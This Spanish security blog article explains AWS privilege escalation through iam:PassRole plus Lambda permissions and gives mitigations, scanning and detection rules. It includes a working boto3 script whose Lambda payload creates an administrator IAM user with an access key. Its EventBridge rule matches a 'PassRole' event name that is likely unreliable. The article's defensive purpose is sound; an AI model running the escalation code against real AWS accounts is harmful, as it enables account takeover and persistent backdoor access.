La gestión de identidades y accesos en AWS parece estar bajo control hasta que un red team enseña cómo un rol de despliegue de Lambda se convierte en acceso total a la cuenta en menos de tres minutos sin que GuardDuty levante una sola alerta. El vector es iam:PassRole combinado con permisos de Lambda, una de las rutas de escalada de privilegios en AWS mejor documentadas y que más se encuentra en auditorías reales. Este artículo desglosa cómo funciona, por qué los controles estáticos no la detectan y cómo cerrarla de raíz.
El multiplicador de privilegios: qué hace iam:PassRole y por qué importa
La acción iam:PassRole permite a un principal de IAM adjuntar un rol existente a un servicio de AWS al crear un recurso. Ese servicio ejecuta código con los permisos del rol, no con los del principal que lo invocó. En la mayoría de entornos esta acción se concede a los pipelines de CI/CD para que puedan desplegar funciones Lambda con sus roles de ejecución.
La política siguiente es la que se aprueba en cientos de pull requests de Terraform al día en organizaciones con prácticas razonables de IAM pero sin análisis de rutas de escalada:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "LambdaDeployPermissions",
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:UpdateFunctionCode",
"lambda:InvokeFunction",
"iam:PassRole"
],
"Resource": "*"
}
]
}Code language: JSON / JSON with Comments (json)
La política parece razonable para un pipeline de deploy. El peligro no está en lo que concede explícitamente: está en qué roles existen ya en la cuenta que un atacante podría pasar a una Lambda nueva.
La ruta de escalada con iam:PassRole: cuatro llamadas a la API
Un atacante con credenciales que tengan esa política puede escalar a administrador de la cuenta sin disparar GuardDuty, porque cada una de las llamadas que hace es una operación IAM perfectamente legítima.
- Listar los roles disponibles con
iam:ListRolespara encontrar uno elevado cuya trust policy permita que Lambda lo asuma. - Crear una función Lambda con
lambda:CreateFunctionpasando ese rol como execution role medianteiam:PassRole. - Desplegar dentro de la función un payload que ejecute la acción maliciosa con los permisos del rol: crear un usuario IAM, exfiltrar secretos de Secrets Manager, modificar SCPs.
- Invocar la función con
lambda:InvokeFunctionpara ejecutar el payload con permisos de admin.
En código, los pasos 2 y 4 con boto3 desde las credenciales comprometidas:
import boto3, zipfile, io, json
lambda_client = boto3.client('lambda', region_name='eu-west-1')
# Payload: crea usuario IAM con AdministratorAccess y genera access key
code = b"""
import boto3
def handler(event, context):
iam = boto3.client('iam')
iam.create_user(UserName='svc-monitor-prod')
key = iam.create_access_key(UserName='svc-monitor-prod')
iam.attach_user_policy(
UserName='svc-monitor-prod',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return key['AccessKey']
"""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
zf.writestr('index.py', code)
# Paso 2: crear la función pasando el rol de administrador (aqui ocurre PassRole)
lambda_client.create_function(
FunctionName='metrics-forwarder',
Runtime='python3.12',
Role='arn:aws:iam::123456789012:role/LambdaAdminExecutionRole',
Handler='index.handler',
Code={'ZipFile': buf.getvalue()},
)
# Paso 4: invocar para ejecutar con permisos del rol de administrador
response = lambda_client.invoke(FunctionName='metrics-forwarder')
credentials = json.loads(response['Payload'].read())
print(f"AccessKeyId: {credentials['AccessKeyId']}")Code language: Python (python)
Otros vectores: iam:PassRole no es exclusivo de Lambda
El mismo patrón funciona con otros servicios. Lambda es el vector más conocido por lo fácil que es desplegar, pero la superficie es bastante más amplia:
- EC2: con
iam:PassRole+ec2:RunInstances+ec2:AssociateIamInstanceProfile, el atacante lanza una instancia con un perfil de instancia que referencia el rol privilegiado. Cualquier código en esa instancia hereda los permisos. - AWS Glue: con
glue:CreateJobyglue:StartJobRuncreas un job de ETL cuyo script ejecuta código arbitrario bajo el rol pasado. Glue tiene acceso nativo a S3, Redshift y otros almacenes. - SageMaker:
sagemaker:CreateTrainingJobpermite especificar un execution role. Un training job con un script malicioso exfiltra credenciales o modifica recursos con los permisos del rol.
En todos estos casos el atacante ejecuta código arbitrario bajo el rol pasado. La restricción correcta no es un deny genérico de PassRole (rompe demasiados flujos legítimos) sino limitar qué roles se pueden pasar y a qué servicio mediante condiciones explícitas:
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::*:role/lambda-execution-*",
"Condition": {
"StringEquals": {
"iam:PassedToService": "lambda.amazonaws.com"
}
}
}Code language: JSON / JSON with Comments (json)
Con esto, PassRole queda restringido a roles cuyo nombre empieza por lambda-execution- y solo cuando el servicio receptor es Lambda. Los vectores de EC2, Glue y SageMaker desaparecen sin tocar el pipeline de despliegue legítimo. La convención de nombres deja de ser una cuestión organizativa y pasa a ser un control de seguridad funcional.
Por qué los escáneres estáticos de IAM no detectan esta ruta
Herramientas como Prowler o AWS Config Rules evalúan cada política por separado y miran si contiene acciones consideradas peligrosas en aislamiento. No modelan las rutas de escalada que aparecen al combinar varias políticas con los roles que ya viven en la cuenta, que es justo el análisis que hace falta aquí.
Para detectar estas rutas necesitas un análisis de grafo sobre el estado IAM completo de la cuenta. Eso es lo que hacen Cloudsplaining o PMapper de forma automatizada a partir del volcado de autorización de IAM.
Detección con Cloudsplaining en menos de cinco minutos
# Exportar el estado completo de IAM de la cuenta
aws iam get-account-authorization-details
--output json > iam-estado-cuenta.json
# Instalar y ejecutar el análisis
pip install cloudsplaining
cloudsplaining scan
--input-file iam-estado-cuenta.json
--output informe-iam/
--exclusions-file exclusiones.ymlCode language: Bash (bash)
El informe identifica qué políticas tienen iam:PassRole sin restricciones de recurso y, además, qué combinaciones de acciones habilitan las 21 rutas de escalada documentadas por Rhino Security Labs, con referencia directa a los recursos afectados y a los principals que tienen esas políticas adjuntas.
Prevención estructural: SCPs con permission boundaries obligatorios
El control más efectivo no es restringir iam:PassRole en general (rompe demasiados pipelines legítimos) sino exigir que todo rol nuevo lleve un permission boundary que limite su alcance máximo. Aunque el atacante consiga crear un rol con AdministratorAccess, el permission boundary acota lo que ese rol puede hacer en realidad.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "RequirePermBoundaryOnRoleCreation",
"Effect": "Deny",
"Action": [
"iam:CreateRole",
"iam:PutRolePolicy",
"iam:AttachRolePolicy"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"iam:PermissionsBoundary": "arn:aws:iam::*:policy/OrgMaxPrivilegeBoundary"
}
}
},
{
"Sid": "DenyPermBoundaryRemoval",
"Effect": "Deny",
"Action": [
"iam:DeleteRolePermissionsBoundary",
"iam:PutRolePermissionsBoundary"
],
"Resource": "*",
"Condition": {
"StringNotLike": {
"aws:PrincipalArn": [
"arn:aws:iam::*:role/SecurityBreakglassRole",
"arn:aws:iam::*:role/OrgAdminRole"
]
}
}
}
]
}Code language: JSON / JSON with Comments (json)
La segunda statement es crítica. Sin ella, un atacante que ya ha escalado podría borrar el permission boundary del rol que acaba de crear y deshacer la protección. Bloquear iam:DeleteRolePermissionsBoundary salvo para roles de administración de la organización cierra ese vector de evasión.
Controles de detección que completan la defensa
Las SCPs son preventivas, pero la defensa en profundidad necesita también detección para cuando alguien intenta estas rutas, aunque no llegue a tener éxito:
- EventBridge sobre correlación PassRole + CreateFunction: regla que dispara alerta cuando un evento CloudTrail de
lambda:CreateFunctionaparece en la misma sesión de credenciales que uniam:PassRoleen los cinco minutos anteriores. - CloudTrail Insights en el trail de gestión: detecta anomalías estadísticas en el volumen de llamadas a
iam:PassRole, útil para identificar exploración automatizada del entorno. - IAM Access Analyzer con scope de organización: genera findings cuando se crean políticas que conceden acceso a principals fuera de la cuenta o de la unidad organizativa.
- Rotación automática de credenciales de CI/CD cada 24 horas: reduce la ventana de explotación si las credenciales del pipeline se ven comprometidas, que es el vector de entrada más frecuente para esta ruta.
Regla EventBridge para correlacionar PassRole y CreateFunction
{
"source": ["aws.iam", "aws.lambda"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventSource": ["iam.amazonaws.com", "lambda.amazonaws.com"],
"eventName": ["PassRole", "CreateFunction20150331"]
}
}Code language: JSON / JSON with Comments (json)
Esta regla captura los eventos iam:PassRole y lambda:CreateFunction de CloudTrail. La señal de detección es la correlación temporal entre ambos dentro de la misma sesión de credenciales. En la implementación completa, la Lambda o Step Function de target compara el userIdentity.sessionContext.sessionIssuer.arn de los dos eventos en una ventana de cinco minutos. Un hit justifica revisión inmediata. En entornos con pipelines de CI/CD activos habrá falsos positivos legítimos: un tercer filtro sobre si el rol pasado pertenece al conjunto de roles de ejecución autorizados se los come.
El análisis de escalada como parte del ciclo de desarrollo
La forma más efectiva de mantener este riesgo bajo control a medida que el entorno crece es integrar Cloudsplaining o PMapper en el pipeline de CI/CD de infraestructura como código. Cualquier cambio en políticas IAM que introduzca una nueva ruta de escalada falla el pipeline con el detalle exacto de qué combinación de permisos abre qué ruta, antes de que llegue a producción.
Si vuestra organización está construyendo una postura de seguridad cloud que vaya más allá de los findings básicos de Security Hub y queréis revisar específicamente las rutas de escalada de privilegios con iam:PassRole activas en vuestro entorno, hablamos y vemos cómo hacer esa revisión de forma sistemática sin parar a los equipos de ingeniería.
